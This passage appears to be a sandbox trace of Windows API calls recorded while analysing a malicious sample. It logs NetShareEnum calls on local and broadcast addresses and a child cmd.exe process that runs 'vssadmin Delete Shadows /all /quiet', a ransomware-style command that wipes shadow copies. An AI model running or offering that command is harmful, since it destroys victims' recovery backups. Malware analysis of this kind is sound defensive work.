	[0146.002] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x6ade1010, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17de750
	[0146.002] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0146.006] GetProcessHeap () returned 0x1720000
	[0146.006] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5908 | out: hHeap=0x1720000) returned 1
	[0146.006] WriteFile (in: hFile=0x494, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0146.008] CloseHandle (hObject=0x494) returned 1
	[0146.008] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x6ade1010, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17dea10
	[0146.008] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0146.445] RtlExitUserThread (Status=0x0) 

Thread:
	id = 178
	os_tid = 0x1378

	[0093.144] NetShareEnum (in: servername="224.0.0.22", level=0x1, bufptr=0x628fecc, prefmaxlen=0xffffffff, entriesread=0x628fed0, totalentries=0x628fec0, resume_handle=0x628fec4 | out: bufptr=0x628fecc, entriesread=0x628fed0, totalentries=0x628fec0, resume_handle=0x628fec4) returned 0x35
	[0112.591] GetProcessHeap () returned 0x1720000
	[0112.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734290 | out: hHeap=0x1720000) returned 1
	[0112.591] RtlExitUserThread (Status=0x0) 

Thread:
	id = 179
	os_tid = 0x1324

	[0093.152] NetShareEnum (in: servername="239.255.255.250", level=0x1, bufptr=0x63cfe3c, prefmaxlen=0xffffffff, entriesread=0x63cfe40, totalentries=0x63cfe30, resume_handle=0x63cfe34 | out: bufptr=0x63cfe3c, entriesread=0x63cfe40, totalentries=0x63cfe30, resume_handle=0x63cfe34) returned 0x35
	[0106.736] GetProcessHeap () returned 0x1720000
	[0106.736] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1733dd0 | out: hHeap=0x1720000) returned 1
	[0106.737] RtlExitUserThread (Status=0x0) 

Thread:
	id = 180
	os_tid = 0x12d0

	[0093.165] NetShareEnum (in: servername="192.168.0.1", level=0x1, bufptr=0x650f88c, prefmaxlen=0xffffffff, entriesread=0x650f890, totalentries=0x650f880, resume_handle=0x650f884 | out: bufptr=0x650f88c, entriesread=0x650f890, totalentries=0x650f880, resume_handle=0x650f884) returned 0x35
	[0123.641] GetProcessHeap () returned 0x1720000
	[0123.641] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17337d0 | out: hHeap=0x1720000) returned 1
	[0123.641] RtlExitUserThread (Status=0x0) 

Thread:
	id = 181
	os_tid = 0x12f8

	[0093.239] NetShareEnum (in: servername="192.168.0.255", level=0x1, bufptr=0x664fdc0, prefmaxlen=0xffffffff, entriesread=0x664fdc4, totalentries=0x664fdb4, resume_handle=0x664fdb8 | out: bufptr=0x664fdc0, entriesread=0x664fdc4, totalentries=0x664fdb4, resume_handle=0x664fdb8) returned 0x35
	[0095.615] GetProcessHeap () returned 0x1720000
	[0095.615] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1733930 | out: hHeap=0x1720000) returned 1
	[0095.615] RtlExitUserThread (Status=0x0) 

Thread:
	id = 182
	os_tid = 0x1310

	[0093.242] NetShareEnum (in: servername="224.0.0.22", level=0x1, bufptr=0x678fcf4, prefmaxlen=0xffffffff, entriesread=0x678fcf8, totalentries=0x678fce8, resume_handle=0x678fcec | out: bufptr=0x678fcf4, entriesread=0x678fcf8, totalentries=0x678fce8, resume_handle=0x678fcec) returned 0x35
	[0112.594] GetProcessHeap () returned 0x1720000
	[0112.594] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17339c8 | out: hHeap=0x1720000) returned 1
	[0112.594] RtlExitUserThread (Status=0x0) 

Thread:
	id = 183
	os_tid = 0x1300

	[0093.244] NetShareEnum (in: servername="255.255.255.255", level=0x1, bufptr=0x68cfee0, prefmaxlen=0xffffffff, entriesread=0x68cfee4, totalentries=0x68cfed4, resume_handle=0x68cfed8 | out: bufptr=0x68cfee0, entriesread=0x68cfee4, totalentries=0x68cfed4, resume_handle=0x68cfed8) returned 0x6ab
	[0093.865] GetProcessHeap () returned 0x1720000
	[0093.865] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1733bb8 | out: hHeap=0x1720000) returned 1
	[0093.865] RtlExitUserThread (Status=0x0) 

Thread:
	id = 184
	os_tid = 0x12fc

	[0093.248] RtlExitUserThread (Status=0x0) 

Thread:
	id = 185
	os_tid = 0x12e0

	[0093.666] RtlExitUserThread (Status=0x0) 

Thread:
	id = 186
	os_tid = 0x97c

	[0093.667] RtlExitUserThread (Status=0x0) 

Thread:
	id = 187
	os_tid = 0xc28

	[0093.667] RtlExitUserThread (Status=0x0) 

Thread:
	id = 188
	os_tid = 0x1320

	[0093.668] RtlExitUserThread (Status=0x0) 

Thread:
	id = 189
	os_tid = 0x12b8

	[0093.668] RtlExitUserThread (Status=0x0) 

Thread:
	id = 190
	os_tid = 0x7c8

	[0093.669] RtlExitUserThread (Status=0x0) 

Thread:
	id = 191
	os_tid = 0x4f0

	[0093.669] RtlExitUserThread (Status=0x0) 

Thread:
	id = 192
	os_tid = 0x504

	[0093.671] RtlExitUserThread (Status=0x0) 

Thread:
	id = 193
	os_tid = 0x1228

	[0093.671] RtlExitUserThread (Status=0x0) 

Thread:
	id = 194
	os_tid = 0xc7c

	[0093.672] RtlExitUserThread (Status=0x0) 

Thread:
	id = 195
	os_tid = 0x360

	[0093.672] RtlExitUserThread (Status=0x0) 

Thread:
	id = 196
	os_tid = 0x122c

	[0093.673] RtlExitUserThread (Status=0x0) 

Thread:
	id = 197
	os_tid = 0x10e4

	[0093.674] RtlExitUserThread (Status=0x0) 

Thread:
	id = 198
	os_tid = 0x1224

	[0093.674] RtlExitUserThread (Status=0x0) 

Thread:
	id = 199
	os_tid = 0x12c8

	[0093.675] RtlExitUserThread (Status=0x0) 

Thread:
	id = 200
	os_tid = 0x136c

	[0093.675] RtlExitUserThread (Status=0x0) 

Thread:
	id = 201
	os_tid = 0xa5c

	[0093.676] RtlExitUserThread (Status=0x0) 

Thread:
	id = 202
	os_tid = 0x1220

	[0093.677] RtlExitUserThread (Status=0x0) 

Thread:
	id = 203
	os_tid = 0x37c

	[0093.677] RtlExitUserThread (Status=0x0) 

Thread:
	id = 204
	os_tid = 0xb0

	[0093.678] RtlExitUserThread (Status=0x0) 

Thread:
	id = 205
	os_tid = 0x1174

	[0093.678] RtlExitUserThread (Status=0x0) 

Thread:
	id = 206
	os_tid = 0x574

	[0093.679] RtlExitUserThread (Status=0x0) 

Thread:
	id = 207
	os_tid = 0xa64

	[0093.679] RtlExitUserThread (Status=0x0) 

Thread:
	id = 208
	os_tid = 0x1338

	[0093.680] RtlExitUserThread (Status=0x0) 

Thread:
	id = 209
	os_tid = 0x129c

	[0093.680] RtlExitUserThread (Status=0x0) 

Thread:
	id = 210
	os_tid = 0x468


Thread:
	id = 211
	os_tid = 0xcc0


Process:
	id = "2"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x1947e000"
	os_pid = "0x114c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin Delete Shadows /all /quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3
	os_tid = 0x1154

	[0057.095] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0057.095] __set_app_type (_Type=0x1) 
	[0057.095] __p__fmode () returned 0x77803c14
	[0057.095] __p__commode () returned 0x778049ec
	[0057.095] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0057.095] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0057.095] _onexit (_Func=0xb88030) returned 0xb88030
	[0057.095] _onexit (_Func=0xb88040) returned 0xb88040
	[0057.095] _onexit (_Func=0xb88050) returned 0xb88050
	[0057.096] _onexit (_Func=0xb88060) returned 0xb88060
	[0057.096] _onexit (_Func=0xb88070) returned 0xb88070
	[0057.097] _onexit (_Func=0xb88080) returned 0xb88080
	[0057.097] GetCurrentThreadId () returned 0x1154
	[0057.097] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1154) returned 0xbc
	[0057.097] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0057.098] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0057.098] SetThreadUILanguage (LangId=0x0) returned 0x2ea0409
	[0057.127] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0057.127] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ffe88 | out: phkResult=0x30ffe88*=0x0) returned 0x2
	[0057.127] VirtualQuery (in: lpAddress=0x30ffe93, lpBuffer=0x30ffe40, dwLength=0x1c | out: lpBuffer=0x30ffe40*(BaseAddress=0x30ff000, AllocationBase=0x3000000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0057.127] VirtualQuery (in: lpAddress=0x3000000, lpBuffer=0x30ffe40, dwLength=0x1c | out: lpBuffer=0x30ffe40*(BaseAddress=0x3000000, AllocationBase=0x3000000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0057.127] VirtualQuery (in: lpAddress=0x3001000, lpBuffer=0x30ffe40, dwLength=0x1c | out: lpBuffer=0x30ffe40*(BaseAddress=0x3001000, AllocationBase=0x3000000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0057.127] VirtualQuery (in: lpAddress=0x3003000, lpBuffer=0x30ffe40, dwLength=0x1c | out: lpBuffer=0x30ffe40*(BaseAddress=0x3003000, AllocationBase=0x3000000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0057.127] VirtualQuery (in: lpAddress=0x3100000, lpBuffer=0x30ffe40, dwLength=0x1c | out: lpBuffer=0x30ffe40*(BaseAddress=0x3100000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x20000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0057.127] GetConsoleOutputCP () returned 0x1b5
	[0057.190] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0057.190] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0057.190] _get_osfhandle (_FileHandle=1) returned 0x90
	[0057.190] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0057.225] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0057.225] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0057.232] _get_osfhandle (_FileHandle=1) returned 0x90
	[0057.232] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0057.237] _get_osfhandle (_FileHandle=1) returned 0x90
	[0057.237] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0057.244] _get_osfhandle (_FileHandle=1) returned 0x90
	[0057.244] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0057.248] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0057.248] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0057.254] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0057.254] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0057.260] GetEnvironmentStringsW () returned 0x3124b78*
	[0057.260] GetProcessHeap () returned 0x3120000
	[0057.260] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0xaca) returned 0x3125650
	[0057.261] FreeEnvironmentStringsA (penv="A") returned 1
	[0057.261] GetProcessHeap () returned 0x3120000
	[0057.261] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x4) returned 0x3124658
	[0057.261] GetEnvironmentStringsW () returned 0x3124b78*
	[0057.261] GetProcessHeap () returned 0x3120000
	[0057.261] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0xaca) returned 0x3126128
	[0057.261] FreeEnvironmentStringsA (penv="A") returned 1
	[0057.261] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30fede4 | out: phkResult=0x30fede4*=0xcc) returned 0x0
	[0057.261] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x0, lpData=0x30fedf0*=0x0, lpcbData=0x30fede8*=0x1000) returned 0x2
	[0057.261] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x4, lpData=0x30fedf0*=0x1, lpcbData=0x30fede8*=0x4) returned 0x0
	[0057.261] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x0, lpData=0x30fedf0*=0x1, lpcbData=0x30fede8*=0x1000) returned 0x2
	[0057.261] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x4, lpData=0x30fedf0*=0x0, lpcbData=0x30fede8*=0x4) returned 0x0
	[0057.261] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x4, lpData=0x30fedf0*=0x40, lpcbData=0x30fede8*=0x4) returned 0x0
	[0057.261] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x4, lpData=0x30fedf0*=0x40, lpcbData=0x30fede8*=0x4) returned 0x0
	[0057.261] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x0, lpData=0x30fedf0*=0x40, lpcbData=0x30fede8*=0x1000) returned 0x2
	[0057.261] RegCloseKey (hKey=0xcc) returned 0x0
	[0057.261] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30fede4 | out: phkResult=0x30fede4*=0xcc) returned 0x0
	[0057.262] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x0, lpData=0x30fedf0*=0x40, lpcbData=0x30fede8*=0x1000) returned 0x2
	[0057.262] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x4, lpData=0x30fedf0*=0x1, lpcbData=0x30fede8*=0x4) returned 0x0
	[0057.262] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x0, lpData=0x30fedf0*=0x1, lpcbData=0x30fede8*=0x1000) returned 0x2
	[0057.262] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x4, lpData=0x30fedf0*=0x0, lpcbData=0x30fede8*=0x4) returned 0x0
	[0057.262] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x4, lpData=0x30fedf0*=0x9, lpcbData=0x30fede8*=0x4) returned 0x0
	[0057.262] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x4, lpData=0x30fedf0*=0x9, lpcbData=0x30fede8*=0x4) returned 0x0
	[0057.262] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30fedec, lpData=0x30fedf0, lpcbData=0x30fede8*=0x1000 | out: lpType=0x30fedec*=0x0, lpData=0x30fedf0*=0x9, lpcbData=0x30fede8*=0x1000) returned 0x2
	[0057.262] RegCloseKey (hKey=0xcc) returned 0x0
	[0057.262] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e71c
	[0057.262] srand (_Seed=0x5e40e71c) 
	[0057.262] GetCommandLineW () returned="cmd.exe /c vssadmin Delete Shadows /all /quiet"
	[0057.262] malloc (_Size=0x4000) returned 0x35321f0
	[0057.262] GetCommandLineW () returned="cmd.exe /c vssadmin Delete Shadows /all /quiet"
	[0057.263] malloc (_Size=0xffce) returned 0x3410048
	[0057.263] ??_V@YAXPAX@Z () returned 0x30ffdc8
	[0057.263] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3410048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0057.265] malloc (_Size=0xffce) returned 0x3420020
	[0057.265] ??_V@YAXPAX@Z () returned 0x30ffb9c
	[0057.265] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3420020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0057.265] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0057.266] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0057.266] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0057.266] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0057.266] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0057.266] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0057.266] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0057.266] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0057.266] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0057.266] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0057.266] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0057.266] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0057.266] GetProcessHeap () returned 0x3120000
	[0057.266] RtlFreeHeap (HeapHandle=0x3120000, Flags=0x0, BaseAddress=0x3125650) returned 1
	[0057.266] GetEnvironmentStringsW () returned 0x3124b78*
	[0057.266] GetProcessHeap () returned 0x3120000
	[0057.266] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0xae2) returned 0x31276f0
	[0057.266] FreeEnvironmentStringsA (penv="A") returned 1
	[0057.266] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0057.266] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0057.266] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0057.266] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0057.266] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0057.266] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0057.267] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0057.267] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0057.267] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0057.267] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0057.267] malloc (_Size=0xffce) returned 0x342fff8
	[0057.267] ??_V@YAXPAX@Z () returned 0x30ff934
	[0057.267] GetProcessHeap () returned 0x3120000
	[0057.267] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x38) returned 0x3120ae0
	[0057.267] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x342fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0057.268] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x342fff8, lpFilePart=0x30ff980 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x30ff980*="Desktop") returned 0x17
	[0057.268] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0057.268] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x30ff700 | out: lpFindFileData=0x30ff700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x3120b20
	[0057.268] FindClose (in: hFindFile=0x3120b20 | out: hFindFile=0x3120b20) returned 1
	[0057.268] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x30ff700 | out: lpFindFileData=0x30ff700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x3120b20
	[0057.268] FindClose (in: hFindFile=0x3120b20 | out: hFindFile=0x3120b20) returned 1
	[0057.269] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x30ff700 | out: lpFindFileData=0x30ff700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x3120b20
	[0057.269] FindClose (in: hFindFile=0x3120b20 | out: hFindFile=0x3120b20) returned 1
	[0057.269] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0057.269] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0057.269] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0057.269] GetProcessHeap () returned 0x3120000
	[0057.269] RtlFreeHeap (HeapHandle=0x3120000, Flags=0x0, BaseAddress=0x31276f0) returned 1
	[0057.269] GetEnvironmentStringsW () returned 0x3124b78*
	[0057.269] GetProcessHeap () returned 0x3120000
	[0057.269] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0xb1a) returned 0x3126c00
	[0057.269] FreeEnvironmentStringsA (penv="=") returned 1
	[0057.269] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3410048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0057.269] GetProcessHeap () returned 0x3120000
	[0057.269] RtlFreeHeap (HeapHandle=0x3120000, Flags=0x0, BaseAddress=0x3120ae0) returned 1
	[0057.269] ??_V@YAXPAX@Z () returned 0x1
	[0057.269] ??_V@YAXPAX@Z () returned 0x1
	[0057.269] GetProcessHeap () returned 0x3120000
	[0057.269] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x400e) returned 0x3128d08
	[0057.270] GetProcessHeap () returned 0x3120000
	[0057.270] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x54) returned 0x3127728
	[0057.270] GetProcessHeap () returned 0x3120000
	[0057.270] RtlFreeHeap (HeapHandle=0x3120000, Flags=0x0, BaseAddress=0x3128d08) returned 1
	[0057.270] GetConsoleOutputCP () returned 0x1b5
	[0057.271] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0057.271] GetUserDefaultLCID () returned 0x409
	[0057.271] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0057.271] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x30ffcf0, cchData=128 | out: lpLCData="0") returned 2
	[0057.271] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x30ffcf0, cchData=128 | out: lpLCData="0") returned 2
	[0057.271] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x30ffcf0, cchData=128 | out: lpLCData="1") returned 2
